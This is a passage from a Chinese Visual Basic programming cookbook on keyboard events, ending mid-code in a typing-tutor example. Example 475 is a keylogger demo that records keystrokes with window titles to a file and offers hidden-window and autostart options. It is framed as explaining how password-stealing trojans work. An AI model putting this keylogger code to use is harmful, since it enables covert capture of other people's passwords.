心法领悟466：在KeyDown期间中断执行。

在调试时，如果在KeyDown过程中保留一个断点，则可能再也得不到KeyUp事件。因为按下按键时程序在KeyDown过程中的断点处停住，松开KeyUp时，程序是暂停状态。



 实例467　转换键值

光盘位置：光盘\MR\15\467

初级

趣味指数：[image: ]




实例说明

本实例实现键值的转换，在TextBox控件中按Enter键转换成按Shift+End键，实现从光标位置到本行最后全部选中，程序的运行效果如图15.5所示。

[image: ]
图15.5　转换键值



关键技术

本实例通过当用户按Enter键时，利用SendKeys "+{END}"将其转换为Shift+End组合键实现键值的转换。SendKeys语句在前面已经介绍过，这里不再赘述。

设计过程

（1）新建一个工程，将窗体的Caption属性设置为“转换键值”。

（2）在窗体上添加一个TextBox控件。

（3）主要程序代码如下：



Private Sub Text1_KeyUp(KeyCode As Integer, Shift As Integer)
    If KeyCode = 13 Then SendKeys "+{END}"          '发送按键消息
End Sub




秘笈心法

心法领悟467：KeyPress事件无法检测到如下的键盘响应。


	Shift、Ctrl和Alt键的特殊组合。

	箭头键。注意，某些控件（命令按钮、选项按钮和复选框）不接受箭头键事件：相反，按下箭头键后将使焦点移动到另一个控件。

	PageUp和PageDown。

	区分数值小键盘的数字键与打字键盘的数值键。

	不仅响应按键操作而且响应释放键的操作（KeyPress只响应按键操作）。

	与菜单命令无联系的功能键。



KeyDown和KeyUp事件提供了最低级的键盘响应，它们可以检测到上述KeyPress事件检测不到的键盘响应。



 实例468　禁止使用窗体上的×关闭窗体

光盘位置：光盘\MR\15\468

初级

趣味指数：[image: ]




实例说明

有时程序不希望用户使用窗体上自带的关闭按钮关闭窗体。 本实例实现将窗体上的×屏蔽，使其不能使用，从而实现禁止使用窗体上的×关闭窗体，程序的运行效果如图15.6所示。

[image: ]
图15.6　禁止使用窗体上的×关闭窗体



关键技术

利用GetSystemMenu函数返回菜单中菜单项的数量，并将其赋给变量ret，“关闭”菜单项是菜单中的最后一项，再利用DeleteMenu来将ret-1的菜单项删除。这样用户就不能使用窗体上的×关闭窗体了。

设计过程

（1）新建一个工程，将窗体的Caption属性设置为“禁止使用窗体上的×关闭窗体”。

（2）在窗体上添加一个Label控件。

（3）主要程序代码如下：



Private Declare Function DeleteMenu Lib "user32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long) As Long
Private Declare Function GetMenuItemCount Lib "user32" (ByVal hMenu As Long) As Long
Private Declare Function GetSystemMenu Lib "user32" (ByVal hwnd As Long, ByVal bRevert As Long) As Long
Private Const MF_BYPOSITION = &H400&
Private Sub Form_Load()
    Dim hwndMenu As Long
    Dim ret As Long
    hwndMenu = GetSystemMenu(Me.hwnd, 0)                        '获取菜单句柄
    ret = GetMenuItemCount(hwndMenu)                    '获取菜单数量
    DeleteMenu hwndMenu, ret - 1, MF_BYPOSITION            '删除“关闭”菜单
    ret = GetMenuItemCount(hwndMenu)                    '获取菜单数量
    DeleteMenu hwndMenu, ret - 1, MF_BYPOSITION            '删除“最大化”菜单
End Sub




秘笈心法

心法领悟468：屏蔽任务栏中的关闭菜单命令。

使用本实例中的方法对窗体上的×按钮进行屏蔽，使其在运行时不能使用，此时使用鼠标右键单击此执行程序在任务栏中的图标，弹出的快捷菜单中也没有“关闭”命令。



 实例469　为自己的程序设置热键

光盘位置：光盘\MR\15\469

初级

趣味指数：[image: ]




实例说明

在编写应用程序时，如果能为应用程序设置热键将给用户带来极大的方便。本实例实现通过按A键来关闭应用程序，程序的运行效果如图15.7所示。

[image: ]
图15.7　使用A键关闭程序



关键技术

利用Timer控件循环检测GetAsyncKeyState函数获得的键值，当获得的键值为A时，就关闭程序。这样就实现了按A键来关闭应用程序。

设计过程

（1）新建一个工程，将窗体的Caption属性设置为“为自己的程序设置热键”。

（2）在窗体上添加一个Label控件。

（3）主要程序代码如下：



Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
 
Private Function HotKey(vKeyCode) As Boolean
    HotKey = GetAsyncKeyState(vKeyCode)
End Function
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
    If HotKey(vbKeyA) Then End                                '如果热键为A，则退出程序
End Sub




秘笈心法

心法领悟469：有效地使用Shift、Ctrl及Alt键。

Shift键所对应的键号为16，Ctrl键所对应的键号为17，Alt键所对应的键号为18，通过键盘事件即可看出Shift、Ctrl、Alt键的状态。在KeyDown事件中有两个参数，通常会运用组合键来确定发生一些事件，这时就要用到第二个参数Shift。Ctrl的值为2，Shift的值为1，Alt的值为4，如下所示：



Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
    If KeyCode = vbKeyEscape And Shift = 1 Then MsgBox "您输入的组合键为Esc和Shift键"
End Sub






 实例470　为窗体设置热键

光盘位置：光盘\MR\15\470

初级

趣味指数：[image: ]




实例说明

本实例实现为窗体设置热键的功能，为窗体设置热键之后，当前窗体不是活动窗体时，按下热键即可激活该窗体，使其成为活动窗体显示在所有程序的前面，程序的运行效果如图15.8所示。

[image: ]
图15.8　为窗体设置热键



关键技术

这里利用API函数SendMessage实现为窗体设置热键。


说明：
 SendMessage函数的详细讲解请参见实例303中的关键技术。

设计过程

（1）新建一个工程，将窗体的Caption属性设置为“为窗体定义热键”。

（2）在窗体上添加一个Image控件，设置其Caption属性。

（3）在窗体上添加一个命令按钮，设置Caption属性为“设置热键为〈Ctrl+Shift+H〉”。

（4）主要程序代码如下：



Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
 Const WM_SETHOTKEY = &H32
 Const HOTKEYF_SHIFT = &H1                            'Shift键
 Const HOTKEYF_CONTROL = &H2                      'Ctrl键
 Const HOTKEYF_ALT = &H4                           'Alt键
 Const HOTKEYF_EXT = &H8                           '附加键
 
Private Type tInteger
    aint As Integer
End Type
Private Type t2Byte
    lByte As Byte
    hByte As Byte
End Type
Private Myint As tInteger
Private Mybyte As t2Byte
Private Sub Command1_Click()
    Dim wParam As Long, i As Long
    Mybyte.hByte = HOTKEYF_CONTROL Or HOTKEYF_SHIFT
    Mybyte.lByte = vbKeyH
    LSet Myint = Mybyte
    wParam = CLng(Myint.aint)
    i = SendMessage(Me.hwnd, WM_SETHOTKEY, wParam, 0)
    If i = 1 Then
        Label1.Caption = "窗体的热键设置为〈Ctrl+Shift+H〉，将窗体最小化，试验热键！"
    End If
End Sub




秘笈心法

心法领悟470：控件拦截键盘事件。

一些控件能够拦截键盘事件，以致窗体不能接收它们，例如，CommandButton控件有焦点时的Enter键，以及焦点在ListBox控件上时的方向键。



 实例471　模拟Print Screen键按下

光盘位置：光盘\MR\15\471

初级

趣味指数：[image: ]




实例说明

利用Print Screen键可以实现抓屏的操作，下面介绍在VB中如何利用API函数中的keybd_event函数模拟键盘动作执行抓屏操作，程序的运行效果如图15.9所示。

[image: ]
图15.9　模拟Print Screen键按下



关键技术

这里利用API函数中的keybd_event函数实现Print Screen键按下的效果，当Print Screen键按下时，所抓取的图像被存放在剪贴板中，利用Clipboard对象将该图片显示在Image控件中。

keybd_event函数用于模拟键盘操作，语法如下：



Public Declare Sub keybd_event Lib "user32" Alias "keybd_event" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)




参数说明如表15.2所示。

表15.2 keybd_event函数的参数说明



	参数
	说明



	bVk
	Byte，欲模拟的虚拟键码



	bScan
	Byte，键的OEM扫描码



	dwFlags
	Long，0；或设为下述两个标志之一。

• KEYEVENTF_EXTENDEDKEY：指出是一个扩展键，而且在前面冠以0xE0代码

• KEYEVENTF_KEYUP：模拟松开一个键



	dwExtraInfo
	Long，通常不用的一个值。API函数GetMessageExtraInfo可取得这个值。允许使用的值取决于特定的驱动程序




设计过程

（1）新建一个工程，将窗体的Caption属性设置为“模拟Print Screen键按下”。

（2）在窗体上添加一个Image控件，用于显示抓取的屏幕图像。

（3）在窗体上添加两个命令按钮，分别设置Caption属性为“按下”和“退出”。

（4）主要程序代码如下：



Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Const theScreen = 1
Const theForm = 0
Private Sub Command1_Click()
    Call keybd_event(vbKeySnapshot, theForm, 0, 0)
    DoEvents
    Image1.Picture = Clipboard.GetData(vbCFBitmap)                    '剪贴板中图像显示在图像框中
End Sub




秘笈心法

心法领悟471：keybd_event函数的使用。

在使用keybd_event函数进行程序设计时，一般都调用两次该函数，第一次模拟键被按下，第二次则模拟键被抬起。



 实例472　禁止使用Alt+F4键来关闭窗体

光盘位置：光盘\MR\15\472

初级

趣味指数：[image: ]




实例说明

利用Alt+F4键可以关闭一个运行的窗体或者程序，但是在有些软件中不能执行该操作来关闭程序，这是因为在该程序中将Alt+F4键给屏蔽了。本实例介绍如何在VB中实现禁止使用Alt+F4键，程序的运行效果如图15.10所示。

[image: ]
图15.10　禁止使用Alt+F4键来关闭窗体



关键技术

这里利用窗体的KeyDown事件，当用户按Alt+F4快捷键时，首先触发KeyDown事件，其中Alt键为功能键，即shift=4，F4键的键值为115，在该事件下将变量x设置为1。在利用Alt+F4快捷键关闭窗体时，还可以触发窗体的Unload事件，当该事件中的参数Cancel为0，则窗体被关闭，将Cancel参数设置为非0的数，则可以防止窗体被关闭。

设计过程

（1）新建一个工程，将窗体的Caption属性设置为“禁止使用Alt+F4键来关闭窗体”。

（2）在窗体上添加一个Label控件。

（3）主要程序代码如下：



Dim x As Integer
Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
    If KeyCode = 115 And Shift = 4 Then x = 1                '判断如果按Alt+F4键，则为变量赋值
End Sub
Private Sub Form_KeyUp(KeyCode As Integer, Shift As Integer)
    x = 0
End Sub
Private Sub Form_Unload(Cancel As Integer)
    Cancel = x
End Sub




秘笈心法

心法领悟472：设置窗体Unload事件中的Cancel参数，防止窗体关闭。

关闭窗体时，将触发窗体的Unload事件，这时Unload事件参数Cancel的值为0，在Unload事件中将此参数值改为非0的数，可以防止窗体被关闭。



 实例473　拒绝键盘输入和鼠标按下

光盘位置：光盘\MR\15\473

初级

趣味指数：[image: ]




实例说明

本实例实现程序运行后，当单击“拒绝键盘输入和鼠标按下”按钮时，可屏蔽当前窗体的键盘输入和鼠标按钮，程序的运行效果如图15.11所示。

[image: ]
图15.11　拒绝键盘输入和鼠标按下



关键技术

利用API函数EnableWindow可以拒绝键盘输入和鼠标按下，语法如下：



Declare Function EnableWindow Lib "user32" Alias "EnableWindow" (ByVal hwnd As Long, ByVal fEnable As Long) As Long




参数说明

❶hwnd：为要拒绝的窗口句柄。

❷fEnable：为一个long型值，当其值为0时表示禁止，非0时，表示允许键盘输入和鼠标按下。

设计过程

（1）新建一个工程，将窗体的Caption属性设置为“现在拒绝键盘输入和鼠标按下”。

（2）在窗体上添加一个命令按钮控件，设置Caption属性为“拒绝键盘输入和鼠标按下”。

（3）在窗体上添加一个TextBox控件，用于测试键盘输入。

（4）主要程序代码如下：



Private Declare Function EnableWindow Lib "user32" (ByVal hwnd As Long, ByVal fEnable As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Command1_Click()
    Call EnableWindow(Me.hwnd, 0)                        '不可用
    Me.Caption = "现在拒绝键盘输入和鼠标按下"
    Dim i As Long
    For i = 1 To 100
        Call Sleep(100)                                '暂停
        DoEvents                                   '虽然有DoEvents，但是，按Form的任何地方也都没有反应
    Next i
    Me.Caption = "现在解除鼠标和键盘的锁定"            
    Call EnableWindow(Me.hwnd, 1)                        '可用
End Sub




秘笈心法

心法领悟473：使用EnableWindow函数的技巧。

窗口被激活前必须处于允许状态。例如，一个应用程序将显示一个无模式对话框并且已使该对话框的主窗口处于禁止状态，则在撤销该对话框之前须使其主窗口处于允许状态。否则，其他窗口将接受并被激活。若子窗口被禁止，则系统决定由哪个窗口接受鼠标消息时将忽略该窗口。


 15.2　键盘综合应用



 实例474　避免按Enter键产生“嘀”声

光盘位置：光盘\MR\15\474

初级

趣味指数：[image: ]




实例说明

一般情况下，在文本框中按Enter键，就会听到PC喇叭发出“嘀”声。这种现象可以通过在该控件的KeyPress事件中对Enter键进行处理，这样就可以避免产生“嘀”声，而对键盘输入的其他字符没有影响，程序的运行效果如图15.12所示。

[image: ]
图15.12　避免按Enter键产生“嘀”声



关键技术

本实例通过控件的KeyPress事件对按Enter键进行处理，避免产生“嘀”声。KeyPress事件在按下和松开一个键时触发，语法如下：



Private Sub Form_KeyPress(keyascii As Integer)
Private Sub object_KeyPress([index As Integer,]keyascii As Integer)




参数说明

❶index：是一个整数，它用来唯一标识一个在控件数组中的控件。

❷keyascii：是返回一个标准数字ANSI键代码的整数。keyascii通过引用传递，对它进行改变可给对象发送一个不同的字符。将keyascii改变为0时可取消击键，这样一来对象便接收不到字符。

设计过程

（1）新建一个工程，将窗体的Caption属性设置为“避免按Enter键产生“嘀”声”。

（2）在窗体上添加一个文本框。

（3）主要程序代码如下：



Private Sub Text1_KeyPress(KeyAscii As Integer)
    If KeyAscii = Asc(13) Then KeyAscii = 0    '如果按Enter键则取消按键
End Sub




秘笈心法

心法领悟474：屏蔽键盘事件。

如果窗体中没有可见和有效的控件，窗体将自动接收所有键盘事件。若要在窗体级处理键盘事件，而不允许控件接收键盘事件时，需要分别在窗体的KeyPress事件中设置KeyAscii值为0，在窗体的KeyDown事件中设置KeyCode值为0。



 实例475　键盘幽灵

光盘位置：光盘\MR\15\475

初级

趣味指数：[image: ]




实例说明

大家在电视上经常看到用户密码被盗事件。其实黑客所使用的木马程序无非是将用户的操作以及所打的字母记录下来，并将记录发送到指定的邮箱。黑客接收到邮件后，根据记录的前台窗体标识，寻找登录账号和密码。本实例程序用于演示关于记录键盘按键状态的原理，程序界面如图15.13所示。

[image: ]
图15.13　键盘幽灵



指定记录文件路径后，单击“确定”按钮，开始对用户键盘进行监视。当笔者打开“记事本”，在其中输入字符串“password”时，生成的记录如图15.14所示。

[image: ]
图15.14　键盘按键记录



关键技术

本实例通过创建键盘按键映像，实时获取键盘按键状态，实现了将用户按下的所有键盘按键进行记录的功能。下面对本实例中用到的关键技术进行详细讲解。

（1）获取前台窗口标题

在进行键盘按键状态记录之前，需要获取前台窗口的标题，用于标明用户按下键盘按键时所激活的窗口。

① 获取前台窗口标题首先需要获得前台窗口的句柄。获得前台窗口的句柄通过使用API函数GetForeground Window实现，语法如下：



[Public | Private] Declare Function GetForegroundWindow Lib "user32" () As Long




返回值：类型Long，表示前台窗口的句柄。键盘幽灵程序。

② 获取前台窗口的句柄后，根据句柄获取前台窗口的标题。窗口标题通过使用API函数GetWindowText实现，语法如下：



[Public | Private] Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long




返回值：类型Long，表示复制到lpString的字串长度；不包括空中止字符。

参数说明

❶hwnd：类型Long，欲获取文字的那个窗口的句柄。

❷lpString：类型String，预定义的一个缓冲区，至少有cch+1个字符大小；随同窗口文字载入。

❸cch：类型Long，表示lpString缓冲区的长度。

例如，下面代码用于获取本地窗口的标题。



GetWindowText Me.hwnd, MyStr, Len(MyStr)




（2）获取键盘按键状态映像

获取键盘按键映像，生成的映像状态不会随着按键真实状态的改变而改变。获取键盘按键映像通过使用API函数GetKeyState实现，语法如下：



[Public | Private] Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer




返回值：类型为Integer，如开关键打开，则位0设为1（开关键包括Caps Lock，Num Lock，Scroll Lock）；如某个键当时正处于按下状态，则位15为1；如已经抬起，则为0。

参数说明

nVirtKey：类型Long，欲测试的虚拟键键码。对字母、数字字符（A～Z、a～z、0～9）键，用它们实际的ASCII值。

例如，下面代码用于获取键盘Caps Lock按键的状态。



Ret = GetAsyncKeyState(VK_CAPITAL)




（3）实时获取键盘按键状态

实时获取键盘按键状态通过使用API函数GetAsyncKeyState实现。


说明：
 GetAsyncKeyState函数的详细讲解请参见实例402中的关键技术。

设计过程

（1）添加一个窗体，命名为Frm_Main，其Caption属性设置为“键盘幽灵”。

（2）添加3个CheckBox控件，分别命名为Chk_SaveFile、Chk_ShowForm、Chk_Startup。Chk_SaveFile属性为“是否将记录存储为文件”；Chk_ShowForm属性为“实现出现运行设置窗体”；Chk_Startup属性为“启动时是否自动运行”。

（3）添加3个CommandButton控件，分别命名为Cmd_Exit、Cmd_SavePath、Cmd_Start。Cmd_Exit的Caption属性为“退出”；Cmd_SavePath的Caption属性为“...”；Cmd_Start的Caption属性为“确定”。

（4）添加一个CommonDialog控件，命名为CommonDialog1，将其Filter属性设置为“文本文件（*.txt）|*.txt”，InitDir属性设置为“c:\”。

（5）添加两个Timer控件，分别命名为Timer1、Timer2。Timer1的Enabled属性设置为False；Interval属性设置为1。Timer2的Enabled属性设置为False；Interval属性设置为20000。Timer1用于定时记录键盘按键状态；Timer2用于定时将记录的键盘按键状态写入文本文件。

（6）添加一个TextBox控件，命名为Txt_FilePath，用于指定文件保存路径。

（7）添加一个RichTextBox控件，命名为RichTextBox1，用于保存键盘按键状态。

（8）获取Caps Lock键和Num Lock键的状态，分别用于判断按下的字母的大小写和数字键盘是否被开启。获取过程在公共模块Mdl_Record中，具体代码如下：



Public Function CAPSLOCKON() As Boolean
    Static bInit As Boolean
    Static bOn As Boolean
    If Not bInit Then                                                '判断Caps键状态
        While GetAsyncKeyState(VK_CAPITAL)
        Wend
        bOn = GetKeyState(VK_CAPITAL)                                    '当按Caps键时
        bInit = True
    Else
        If GetAsyncKeyState(VK_CAPITAL) Then
            While GetAsyncKeyState(VK_CAPITAL)                            '等待Caps键被释放
                DoEvents
            Wend
            bOn = Not bOn
        End If
    End If
    CAPSLOCKON = bOn                                            '返回函数值
End Function




在下面代码的Timer事件中首先获取前台窗口标题，然后判断Caps Lock键和Num Lock键的状态，最后将用户所打的字记录在RichTextBox控件中。Timer事件的代码如下：



Private Sub Timer1_Timer()
    '如果取得的窗口标题不是前面变量中存储的标题，则重新改变设置变量的值，并且重新设置键盘记录内容
    If strWindow <> GetCaption(GetForegroundWindow) Then
        strWindow = GetCaption(GetForegroundWindow)
        RichTextBox1.Text = RichTextBox1.Text & vbCrLf & "[" & Time & " - 窗口： " & strWindow & "]" & vbCrLf
    End If
    '下面的程序将记录键盘的操作，并保存在RichTextBox控件中
    '按Ctrl + lngShift + F12则呼叫本程序
    Dim lngKeyState As Long
    Dim lngShift As Long
    lngShift = GetAsyncKeyState(vbKeyShift)
    '记录大写字母A和小写字母a
    lngKeyState = GetAsyncKeyState(vbKeyA)
    If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
        RichTextBox1.Text = RichTextBox1.Text + "A"
    End If
    If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then
        RichTextBox1.Text = RichTextBox1.Text + "a"
    End If
    '略
    '记录数字键盘的0
    lngKeyState = GetAsyncKeyState(vbKeyNumpad0)
    If (lngKeyState And &H1) = &H1 Then
        RichTextBox1.Text = RichTextBox1.Text + "0"
    End If
End Sub




程序每间隔一段时间，就将键盘记录以文本的形式保存。保存记录的代码如下：



Private Sub Timer2_Timer()
    If Chk_SaveFile.Value = Checked Then
        Open Txt_FilePath.Text For Append As #1
        Write #1, RichTextBox1.Text                            '保存记录
        Close #1
        RichTextBox1.Text = ""'                                清空RichTextBox控件的内容以释放内存
    End If
End Sub




秘笈心法

心法领悟475：使用KeyDown、KeyUp获取ASCII码。

输入大写“A”时，KeyDown或KeyUp事件获得“A”的ASCII码。在输入小写“a”时，KeyDown或KeyUp事件获得相同的ASCII代码。为区分大小写，这些事件使用shift参数。与此相对照的是，KeyPress 事件将字母的大小写作为两个不同的ASCII字符处理。



 实例476　指法练习软件

光盘位置：光盘\MR\15\476

中级

趣味指数：[image: ]




实例说明

用户在日常的工作中，对电脑的使用越来越多，如果用户的打字速度加快的话，工作效率也会相应地提高，在这竞争激烈的社会，较快的打字速度已经成为工作的基础，为了提高个人的打字速度，一款好的指法练习软件必不可少。本实例通过VB来实现一款指法练习软件的开发。运行本实例，单击“开始”按钮，进行指法练习，实例的运行结果如图15.15所示。

[image: ]
图15.15　指法练习



关键技术

在本程序中多处使用了跳转语句GoTo用来改变程序的执行流程。在进行练习时，使用到了KeyPress事件，在该事件中获取按下键盘的ASCII值，然后利用Chr函数，将其转换为字符并显示在输入标签中。下面对这一执行过程中用到的知识点进行介绍。

（1）GoTo语句

该语句用于无条件地转移到过程中指定的行，语法如下：



GoTo line




参数说明

line：必选参数。可以是任意的行标签或行号。


注意：
 GoTo语句只能跳到它所在过程中的行。太多的GoTo语句会使程序代码不容易阅读及调试。应尽可能使用结构化控制语句（Do…Loop、For…Next、If…Then…Else、Select Case）。

例如，本实例使用GoTo语句在一个过程内的不同程序段间作流程控制，不同程序段用不同的“程序标签”来区隔，代码如下：



Sub GotoStatementDemo()
Sub GotoStatementDemo()
    Dim Number, MyString
    Number = 1                                                '设置变量初始值
    '判断Number的值以决定要完成哪一个程序区段（以“程序标签”来表示）
    If Number = 1 Then GoTo Line1 Else GoTo Line2
Line1:
    MyString = "Number equals 1"
    GoTo LastLine                                                '完成最后一行
Line2:
    MyString = "Number equals 2"                                    '该语句根本不会被完成
LastLine: 
    Debug.Print MyString                                            '将“"Number equals 1"”显示在“立即”窗口
End Sub




在本程序中使用的代码如下：



Public Sub ShowRandomWords()
11:
    TimeSampleA = Timer                                            '定义标签11，及对应的内容
22:
    DoEvents                                                '转让控制权
    TimeSampleB = Timer                                            '设置时间值
    RNDNum = RNDNum + 1                                        '给变量赋值
    RNDNum = RNDNum Mod 10                                    '给变量赋值
    If TimeSampleB - TimeSampleA < 0.08 Then GoTo 22                        '如果时间差小于0.08，跳转到标签22
    For LoopX = 0 To 7                                            '循环
        If RNDNum = PreviousRNDNum(LoopX) Then GoTo 11                    '如果变量值与数组的值相同，跳转到11
    Next
    '此处代码有省略
End Sub




（2）KeyPress事件

此事件当用户按下和松开一个ANSI键时发生。在本程序中使用的代码如下：



Private Sub Txt_Article_KeyPress(KeyAscii As Integer)                        '在文本框中按下键盘
    If StartNewTest = False Then Exit Sub                                '如果不是练习状态，退出过程
    CopyOfKeyAscii = KeyAscii                                        '设置按键缓冲
    Call DisplayText                                            '调用自定义过程
End Sub




（3）Asc函数


说明：
 Asc函数的详细讲解请参见实例122中的关键技术。

在本程序中使用的代码如下：



UserPressedKey = Asc(ChrBuffer)




（4）Chr函数


说明：
 Chr函数的详细讲解请参见实例082中的关键技术。


说明：
 0～31之间的数字与标准的非打印ASCII代码相同。例如，Chr(10)可以返回换行字符。charcode的正常范围为0～255。

例如，本实例使用Chr函数来返回指定字符码所代表的字符，代码如下：



Dim MyChar                                            '定义变量
MyChar = Chr(65                                        '返回A    
MyChar = Chr(97)                                        '返回a
MyChar = Chr(62)                                        '返回>
MyChar = Chr(37)                                        '返回%
    在本程序中使用的代码如下：
Lbl_Input.Caption = Lbl_Input.Caption + Chr(CopyOfKeyAscii)




设计过程

（1）新建一个VB企业版控件的工程。

（2）在工程中添加一个窗体，使用默认名，设置BorderStyle属性为1-Fixed Simgle，设置MinButton属性为True，设置Caption属性为“指法练习软件”。

（3）在窗体上添加一个ToolBar控件和一个ImageList控件，向ImageList控件中添加图片，并将该控件与 ToolBar控件相连接。

（4）在窗体上添加Frame控件，在其中添加TextBox控件和Label控件，分别命名为Txt_Article和 Lbl_Input，分别用于显示要输入的内容和已经输入的内容。

（5）在窗体上添加Frame控件，在Frame控件中添加若干Label控件和一个ProgressBar控件，用于显示时间、速度、进度和正确率。

（6）在窗体上再添加一个Frame控件，在该Frame控件内部添加若干CommandButton控件，用于显示键盘信息。

（7）主要程序代码如下。

在窗体获得焦点时，利用自定义过程ShowRandomWords将一个随机的文档内容显示在文本框中，程序代码如下：



'*************************************************************************
'**函 数 名：ShowRandomWords
'**输    入：无
'**输    出：无
'**功能描述：随机显示练习题的内容
'*************************************************************************
Public Sub ShowRandomWords()
11:
    TimeSampleA = Timer                                        '定义标签11，及对应的内容
22:
    DoEvents                                            '转让控制权
    TimeSampleB = Timer                                        '设置时间值
    RNDNum = RNDNum + 1                                    '给变量赋值
    RNDNum = RNDNum Mod 10                                '给变量赋值
    If TimeSampleB - TimeSampleA < 0.08 Then GoTo 22                    '如果时间差小于0.08，跳转到标签22
    For LoopX = 0 To 7                                        '循环
        If RNDNum = PreviousRNDNum(LoopX) Then GoTo 11                '如果变量值与数组的值相同，跳转到11
    Next
    NoRepeats = NoRepeats + 1                                    '变量值加1
    If NoRepeats = 8 Then                                        '如果变量值为8
        For LoopX = 0 To 7                                    '循环
            PreviousRNDNum(LoopX) = "K"                            '给数组赋值
            NoRepeats = 0                                    '给变量赋值
        Next
    End If
    Txt_Article.Text = RandomWords(WordLevel, RNDNum)                '设置文本框的内容
    PreviousRNDNum(NoRepeats) = RNDNum                        '设置数组的值
    Txt_Article.SetFocus                                        '文本框获得焦点
    WordPosition = 0                                        '设置文本的位置
    CurrentWord = 0                                        '当前的字符值
    Lbl_Input.Caption = ""                                        '清空输入标签
End Sub




当文本框Txt_Article获得焦点，此时按下键盘中的按键，触发KeyPress事件，在该事件中调用自定义过程DisplayText来执行指法练习的相关操作，关键代码如下：



Private Sub Txt_Article_KeyPress(KeyAscii As Integer)                    '在文本框中按下键盘
    If StartNewTest = False Then Exit Sub                            '如果不是练习状态，退出过程
    CopyOfKeyAscii = KeyAscii                                    '设置按键缓冲
    Call DisplayText                                        '调用自定义过程
End Sub




自定义过程DisplayText用于根据输入的按钮的不同执行不同的操作，当按下一个可显示的键盘键时，对应地在界面中的小键盘中显示按下的是哪个键，程序代码如下：



Public Sub DisplayText()
    On Error GoTo 11                                        '出错跳转到标签11
    If Len(Lbl_Input.Caption) < 1 Then Timer1.Enabled = True                '如果输入的内容小于1设置Timer1控件可用
    If UserPressedKey > 0 Then                                    '如果键值大于0
        Cmd_Key(OldPressedKey).Picture = Ige_Key(OldPressedKey).Picture        '设置按键图片
        Cmd_Key(13).Picture = Ige_Key(13).Picture                        '设置按键的图片
    End If
    '仅允许ASCII值 > 31的显示
    If CopyOfKeyAscii > 31 Then                                '如果ASCII大于31
        Lbl_Input.Caption = Lbl_Input.Caption + Chr$(CopyOfKeyAscii)            '将输入的内容追加显示在标签中
    End If
    '按Enter键
    If CopyOfKeyAscii = 13 Then                                '按Enter键
        Cmd_Key(OldPressedKey).Picture = Ige_Key(OldPressedKey).Picture        '设置按钮的图片
        Cmd_Key(13).Picture = Ige_Key1(13).Picture                    '设置按钮的图片
        Lbl_Input.Caption = Lbl_Input.Caption + NewLine                    '在输入内容标签中显示换行符
        CurrentWord = CurrentWord + 1                            '变量加1
    End If
    '退格键
    If CopyOfKeyAscii = 8 Then                                    '如果按退格键
        CurrentWord = CurrentWord + (CurrentWord > 0) * 1                '设置当前值
        Txt_Article.SetFocus                                    '设置文本框获得焦点
        Txt_Article.SelStart = CurrentWord                            '设置文本框光标所在位置为变量的值
        Lbl_Input.Caption = Mid$(Lbl_Input.Caption, 1, CurrentWord)            '设置输入文本框的值
        UserPressedKey = 8                                    '设置变量的值
        WordPosition = WordPosition – 1                            '文件的位置减1
        GoTo 22                                            '跳转到标签22
    End If
    '高亮文字
    Txt_Article.SetFocus                                        '设置文本框获得焦点
    Txt_Article.SelStart = CurrentWord + 1                            '设置文本框的开始值
    Txt_Article.SelLength = 1                                    '设置选中字符串的长度
    CurrentWord = CurrentWord + 1                                '变量值加1
    If CopyOfKeyAscii = 13 Then GoTo 33                            '如果按Enter键跳转到标签33
    ChrBuffer = LCase(Chr$(CopyOfKeyAscii))                        '转换所有chrs成小写，测试不区分大小写
    UserPressedKey = Asc(ChrBuffer)                                '给变量赋值
22:
    Cmd_Key(UserPressedKey).Picture = Ige_Key1(UserPressedKey).Picture        '设置图片的内容
    OldPressedKey = UserPressedKey                                '设置变量的值
    If ChrBuffer = LCase(Mid$(Txt_Article.Text, CurrentWord, 1)) Then
        WordsCorrect = WordsCorrect + 1
        WordCount = WordCount + 1
    Else
        WordsIncorrect = WordsIncorrect + 1
        WordCount = WordCount + 1
    End If
33:
    '如果第一组练习完毕，移动下一练习内容
    If CurrentWord >= Len(Txt_Article.Text) Then
        Timer1.Enabled = False                                    '停止Timer控件的计时
        Dim a                                            '定义变量
        '显示提示对话框
        a = MsgBox("已经完成一组练习，您的成绩是：" & _
            vbNewLine & "速度：" & Lbl_rate.Caption & _
            vbNewLine & "正确率：" & Lbl_Correct.Caption & _
            vbNewLine & "是否进行下一组测试？", vbYesNo)
        If a = vbYes Then                                        '如果在提示对话框中选择“是”
            Call ShowRandomWords                                '调用自定义过程生成新的练习题
        End If
    End If
    WordPosition = WordPosition + 1                                '变量加1
    WordsPerMin = WordsPerMin + 1                                '变量加1
    IntBuffer = Int((WordsCorrect / WordCount) * 100)                    '给变量赋值
    If IntBuffer < 75 And ShowHelpTip1 = False Then                        '如果需要提示帮助信息
        '提示对话框
        IntBuffer = MsgBox("提示：请正确输入上面所看到的练习内容，  " + Chr$(10) + Chr$(13) + _
                   "包括所有空格键以及Enter换行等。", vbOKOnly + vbDefaultButton2)
        ShowHelpTip1 = True                                    '设置标识变量的值为True
    End If
11
End Sub




在进行输入文本内容的同时，会实时地显示当前练习的时间、速度、进度和正确率，主要是通过Timer事件实现的，程序代码如下：



Private Sub Timer1_Timer()
    WordsPerMin = 0                                        '设置每分钟单词数计时器变量为0
    PrgressBar1.Value = Val(Len(Lbl_Input.Caption) * 100 / Len(Txt_Article.Text))    '设置进度条的值
